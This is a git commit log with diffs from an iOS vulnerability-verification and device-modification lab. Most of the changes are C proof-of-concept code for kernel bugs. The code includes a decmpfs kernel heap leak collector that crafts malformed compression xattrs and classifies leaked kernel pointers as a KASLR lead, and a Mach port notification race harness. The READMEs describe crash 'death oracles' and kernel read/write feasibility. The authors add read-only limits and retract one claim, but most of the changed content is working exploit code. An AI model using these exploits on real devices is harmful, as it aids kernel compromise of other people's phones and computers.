3 Commits
Author SHA1 Message Date
JBJF 030df9a8b1 fix: register the arrivals group in the lab list
Catalog.groups is a hard-coded list and did not include the arrivals catalog,
so the five new modules (112705 probe/fire, 112621 probe/fire, 84636) and
kern.ipc.lifecycle were counted in Catalog.all but invisible in the POCs tab.
Add a localized 新收录 / New arrivals group at the top; simulator screenshot
confirms all six entries render. Build 6.
2026-10-31 16:06:28 +08:00
JBJF 6f4ed67c38 112507 reachability closed: notification registration refused (-300)
- New kern.ipc.lifecycle module: dead-name registration, dead-name send,
  notification receive, name reuse — single-threaded, safe on device
- Device receipt (iPhone19,7, iOS 27.0.1, ad-hoc signed): request DEAD_NAME
  returns -300 (MIG_TYPE_ERROR); send -> MACH_SEND_INVALID_DEST; receive
  times out; 0/12,288 registrations armed in kern.ipc
- macOS 27 sweep: 13 notification-type/right combinations, all -300
- kern.ipc now counts armed registrations and retracts the old 'survived'
  verdict when armed == 0; the request table is never armed
- docs/KERNEL-RW-ASSESSMENT.md: 112507 marked closed for this app
- app 2.2 build 5; 57 modules
2026-10-31 15:59:20 +08:00
JBJF c30aadf9bb kernel R/W assessment for the high/critical entries
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six
  kernel-reachable bugs supplies both address and value control; the chain
  requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry
- CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical
  pointer classification (kernel-text / kernel-data / kernel-other), --keep
  raw dump, --verbose; candidates are printed, never dereferenced
- 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset
  write without leak, honest negative); no blind writes
- README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
2026-10-31 15:37:58 +08:00
14 changed files with 499 additions and 83 deletions

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+24 -11
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@@ -17,7 +17,7 @@
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct { typedef struct {
long operations, allocations, notifications, sends, deallocations; long operations, allocations, notifications, sends, deallocations, armed;
int budget_exhausted; int budget_exhausted;
long notifications_refused; long notifications_refused;
long budget; long budget;
@@ -50,10 +50,10 @@ static void record(kern_return_t kr) {
// //
// Resource discipline: mod_refs with a negative delta against a zero send-ref count // Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first. // does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result; typedef struct { long alloc, notify, send, dealloc, armed; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0}; ring_result r = {0, 0, 0, 0, 0};
mach_port_name_t ports[512]; mach_port_name_t ports[512];
int nports = 0; int nports = 0;
if (depth > 512) depth = 512; if (depth > 512) depth = 512;
@@ -79,9 +79,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr1 = mach_port_request_notification( kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) { if (kr1 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr1); record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -90,9 +92,11 @@ static ring_result ring(mach_port_t task, int depth, int *budget, long *refused)
kern_return_t kr2 = mach_port_request_notification( kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) { if (kr2 == KERN_SUCCESS) {
r.armed++;
} else {
record(kr2); record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; (*refused)++;
} }
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++; r.notify++;
@@ -159,7 +163,7 @@ static int g_depth = 48;
static void *worker(void *arg) { static void *worker(void *arg) {
(void)arg; (void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0, local_armed = 0;
while (!past_deadline()) { while (!past_deadline()) {
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -184,6 +188,7 @@ static void *worker(void *arg) {
local_notify += res.notify; local_notify += res.notify;
local_send += res.send; local_send += res.send;
local_dealloc += res.dealloc; local_dealloc += res.dealloc;
local_armed += res.armed;
local_ops += 4; local_ops += 4;
pthread_mutex_lock(&S.lock); pthread_mutex_lock(&S.lock);
@@ -197,6 +202,7 @@ static void *worker(void *arg) {
S.notifications += local_notify; S.notifications += local_notify;
S.sends += local_send; S.sends += local_send;
S.deallocations += local_dealloc; S.deallocations += local_dealloc;
S.armed += local_armed;
pthread_mutex_unlock(&S.lock); pthread_mutex_unlock(&S.lock);
return NULL; return NULL;
} }
@@ -246,8 +252,8 @@ int main(int argc, char **argv) {
for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL);
for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL);
printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld armed=%ld\n",
S.operations, S.allocations, S.notifications, S.sends, S.deallocations); S.operations, S.allocations, S.notifications, S.sends, S.deallocations, S.armed);
if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n");
if (S.notifications_refused > 0) { if (S.notifications_refused > 0) {
printf("notifications refused %ld times — this platform does not allow notification\n" printf("notifications refused %ld times — this platform does not allow notification\n"
@@ -260,7 +266,14 @@ int main(int argc, char **argv) {
printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]);
} }
} }
printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); if (S.armed == 0 && S.notifications > 0) {
printf("notification registration never succeeded (-300, MIG type error).\n");
printf("the request-table path was never armed: this run is not a 112507 test.\n");
printf("CVE-2026-112507 · NOT REACHED from this process\n");
} else {
printf("CVE-2026-112507 · %ld registrations armed, survived the interleaving, "
"no request-table fault surfaced\n", S.armed);
}
pthread_mutex_destroy(&S.lock); pthread_mutex_destroy(&S.lock);
return 0; return 0;
} }
+4
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@@ -2,6 +2,10 @@
// ANE userspace entry point probe // ANE userspace entry point probe
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the // C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
// client/program/model/request entry points the CVE lives behind. // client/program/model/request entry points the CVE lives behind.
//
// Honest negative: the ANE kernel interface is not reachable from a third-party
// process, so this is a reachability map, not a primitive. No R/W is attempted.
// See docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c // Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
// Run: ./cve-2026-112696 // Run: ./cve-2026-112696
+4
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@@ -8,6 +8,10 @@
// macOS runs the same driver: the encode is gated behind --force-host because it can // macOS runs the same driver: the encode is gated behind --force-host because it can
// panic the host kernel. // panic the host kernel.
// //
// Primitive limit: the write is a constant fill at a fixed offset. There is no
// address control and no value control, so this is a DoS primitive, not an
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
//
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \ // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation // -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
// Run: ./cve-2026-112705 [layers] [--force-host] // Run: ./cve-2026-112705 [layers] [--force-host]
+133 -44
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@@ -2,9 +2,14 @@
// Kernel heap disclosure through short-producing chunks // Kernel heap disclosure through short-producing chunks
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose // C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
// chunks produce fewer bytes than the chunk table promises, writes it onto a file, // chunks produce fewer bytes than the chunk table promises, writes it onto a file,
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000). // reads the file back and classifies every canonical kernel pointer in the result.
//
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
// readback for offline analysis. Candidates are printed, never dereferenced.
//
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c // Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
// Run: ./cve-2026-113910 // Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
return out; return out;
} }
// ── trigger: xattr round trip + kernel-pointer scan ── // ── leak classification ──
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
// Anything that looks like a tagged userspace pointer is reported separately; it is
// not a KASLR lead. Values are only ever printed.
enum ptr_class {
PTR_NONE = 0,
PTR_KERNEL_TEXT,
PTR_KERNEL_DATA,
PTR_KERNEL_OTHER,
PTR_USER,
};
static const char *class_name(int c) {
switch (c) {
case PTR_KERNEL_TEXT: return "kernel-text";
case PTR_KERNEL_DATA: return "kernel-data";
case PTR_KERNEL_OTHER: return "kernel-other";
case PTR_USER: return "user";
default: return "-";
}
}
static int classify(uint64_t v) {
if (v == 0) return PTR_NONE;
if ((v >> 48) == 0xffff) {
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
return PTR_KERNEL_OTHER;
}
if ((v >> 48) == 0x0000) return PTR_USER;
return PTR_NONE;
}
typedef struct { typedef struct {
int wrote_xattr; int wrote_xattr;
long read_back; long read_back;
long hits; long hits;
char samples[8][32]; long by_class[5];
char samples[8][40];
int nsamples; int nsamples;
char note[128]; char note[128];
} decmpfs_result; } decmpfs_result;
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) { static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
if (r->nsamples >= 8) return;
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
(unsigned long long)v, off, class_name(cls));
r->nsamples++;
}
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
FILE *keep, int verbose) {
decmpfs_result r = {0}; decmpfs_result r = {0};
// seed file: plain 0x41 content (the uncompressed claim)
unlink(path); unlink(path);
int fd = open(path, O_WRONLY | O_CREAT, 0644); int fd = open(path, O_WRONLY | O_CREAT, 0644);
if (fd >= 0) { if (fd >= 0) {
uint8_t zeros[4096]; uint8_t fill[4096];
memset(zeros, 0x41, sizeof zeros); memset(fill, 0x41, sizeof fill);
size_t left = uncompressed < 64 ? 64 : uncompressed; size_t left = uncompressed < 64 ? 64 : uncompressed;
while (left > 0) { while (left > 0) {
size_t take = left < sizeof zeros ? left : sizeof zeros; size_t take = left < sizeof fill ? left : sizeof fill;
if (write(fd, zeros, take) != (ssize_t)take) break; if (write(fd, fill, take) != (ssize_t)take) break;
left -= take; left -= take;
} }
close(fd); close(fd);
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
} }
r.wrote_xattr = 1; r.wrote_xattr = 1;
// read the file back: the kernel decompresses through AppleFSCompression
FILE *f = fopen(path, "rb"); FILE *f = fopen(path, "rb");
if (!f) { if (!f) {
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno); snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
fclose(f); fclose(f);
r.read_back = (long)back.n; r.read_back = (long)back.n;
// scan for kernel-space pointers in whatever the kernel handed back if (keep) {
if (back.n >= 8) { fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
for (size_t i = 0; i + 8 <= back.n; i += 8) { chunks, produce, uncompressed, back.n);
uint64_t v = 0; if (back.n) fwrite(back.d, 1, back.n, keep);
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k); fputc('\n', keep);
if (v >= 0xFFFFFFE000000000ULL) { }
r.hits++;
if (r.nsamples < 8) { // A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx", for (size_t i = 0; i + 8 <= back.n; i += 8) {
(unsigned long long)v, i); uint64_t v = 0;
r.nsamples++; for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
} int cls = classify(v);
} if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
r.hits++;
r.by_class[cls]++;
note_sample(&r, v, i, cls);
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
} }
} }
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back); snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
return r; return r;
} }
int main(void) { int main(int argc, char **argv) {
const char *path = "decmpfs_probe.bin"; int loop = 1;
struct { int chunks; size_t produce; } configs[4] = { int verbose = 0;
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1}, const char *keep_path = NULL;
}; for (int i = 1; i < argc; i++) {
long total_hits = 0; if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
}
if (loop < 1) loop = 1;
const char *path = "decmpfs_probe.bin";
struct { int chunks; size_t produce; } configs[] = {
{1, 0}, {1, 1}, {2, 1}, {4, 1},
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
};
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
if (keep) {
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
}
long total_hits = 0;
long by_class[5] = {0};
long runs = 0;
printf("— baseline: what a plain file reads back —\n"); printf("— baseline: what a plain file reads back —\n");
{ {
unlink(path); unlink(path);
@@ -176,22 +246,41 @@ int main(void) {
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); } if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
} }
printf("\n— chunked xattr round trip —\n"); printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
for (int i = 0; i < 4; i++) { for (int l = 0; l < loop; l++) {
size_t uncompressed = (size_t)configs[i].chunks * 65536; for (int i = 0; i < ncfg; i++) {
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce); size_t uncompressed = (size_t)configs[i].chunks * 65536;
total_hits += r.hits; decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n", keep, verbose);
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note); runs++;
if (r.nsamples > 0) { total_hits += r.hits;
printf(" candidates:"); for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]); if (r.hits > 0 || verbose) {
printf("\n"); printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
}
} }
} }
// Class totals are what matter here; the raw bytes are in --keep for offline work.
unlink(path); unlink(path);
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found" if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
: "no kernel pointers surfaced (read was served plain)");
return 0; printf("\n== leak summary ==\n");
printf("runs=%ld hits=%ld\n", runs, total_hits);
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
if (total_hits > 0) {
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
printf("whether the same chunk table can be pointed at that slot again.\n");
} else {
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
}
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
return total_hits > 0 ? 0 : 0;
} }
+5
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@@ -2,6 +2,11 @@
// HID event tree append entry point probe // HID event tree append entry point probe
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points // C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind. // (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
//
// This file stops at symbol reachability and never appends an event: the bug is a
// fixed-offset write into a short heap allocation with no leak and no address
// control. Attempting it blind is a panic, not an experiment. See
// docs/KERNEL-RW-ASSESSMENT.md.
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c // Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
// Run: ./cve-2026-65385 // Run: ./cve-2026-65385
BIN
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Binary file not shown.
+8 -4
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@@ -2,7 +2,7 @@
[中文](README.zh-CN.md) [中文](README.zh-CN.md)
An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **56 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446). An iOS 17.0–27.1 vulnerability-verification and device-modification lab, **57 modules**. Primary target: **iOS 27.0.1 / iPhone 18 Pro Max** (iPhone19,7 · 24A446).
Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing. Component coverage: ImageIO, CoreGraphics, CoreMedia, FontParser, ArchiveUtility, VideoToolbox, AudioToolbox, Calendar, Dolby Vision RPU, XNU kernel IPC, sandbox & filesystem, GPT / kexts, HID / peripherals / radio, entitlement probing.
@@ -131,15 +131,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app (arm64 simulator)
python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs) python3 scripts/gen_seeds.py # → seeds/ (the app's built-in seeds, byte-identical to the .py POCs)
``` ```
Device install: bundle id `com.jbjf.cinder27` (v2.1 build 4), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload. Device install: bundle id `com.jbjf.cinder27` (v2.2 build 6), unsigned — sign with your own certificate + a matching (or wildcard) provisioning profile, then sideload.
## Verification status ## Verification status
Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap. Full 57-module regression (simulator build): **51 done + 4 armed + 2 fire modules left unrun by design**. The two fire modules are the deliberate death oracles for 112705 and 112621; they are compiled in and require a tap.
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung. Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness. All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
112507 reachability was re-measured on the target (iPhone19,7, iOS 27.0.1) with the new `kern.ipc.lifecycle` module and an `armed` counter in `kern.ipc`: `mach_port_request_notification` returns -300 (MIG_TYPE_ERROR) for every type/right combination tried, 0 armed out of 12,288 registrations. The request table is never armed, so the race is not reachable from an unentitled app; the earlier "survived the interleaving" line is retracted. Details in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md).
## Module semantics ## Module semantics
+8 -4
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@@ -2,7 +2,7 @@
[English](README.md) [English](README.md)
iOS 17.0–27.1 漏洞验证与设备修改工具链,**56 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。 iOS 17.0–27.1 漏洞验证与设备修改工具链,**57 个模块**。主靶:**iOS 27.0.1 / iPhone 18 Pro Max**(iPhone19,7 · 24A446)。
组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。 组件覆盖:ImageIO、CoreGraphics、CoreMedia、FontParser、ArchiveUtility、VideoToolbox、AudioToolbox、Calendar、Dolby Vision RPU、XNU 内核 IPC、沙盒与文件系统、GPT / kext、HID / 外设 / 无线链路、entitlement 探测。
@@ -130,15 +130,19 @@ bash scripts/build-sim.sh # → build/sim/Cinder27.app(arm64 模拟器
python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致) python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC 产物逐字节一致)
``` ```
设备安装:bundle id `com.jbjf.cinder27`(v2.1 build 4),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。 设备安装:bundle id `com.jbjf.cinder27`(v2.2 build 6),未签名——用自有证书 + 匹配(或通配符)描述文件签名后侧载。
## 验证状态 ## 验证状态
56 模块全量回归(模拟器构建):**50 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。 57 模块全量回归(模拟器构建):**51 done + 4 armed + 2 个 fire 模块按设计未运行**。两个 fire 模块是 112705 与 112621 的主动死亡 oracle,已编译进 app,需人为点按。
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。 armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。 34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 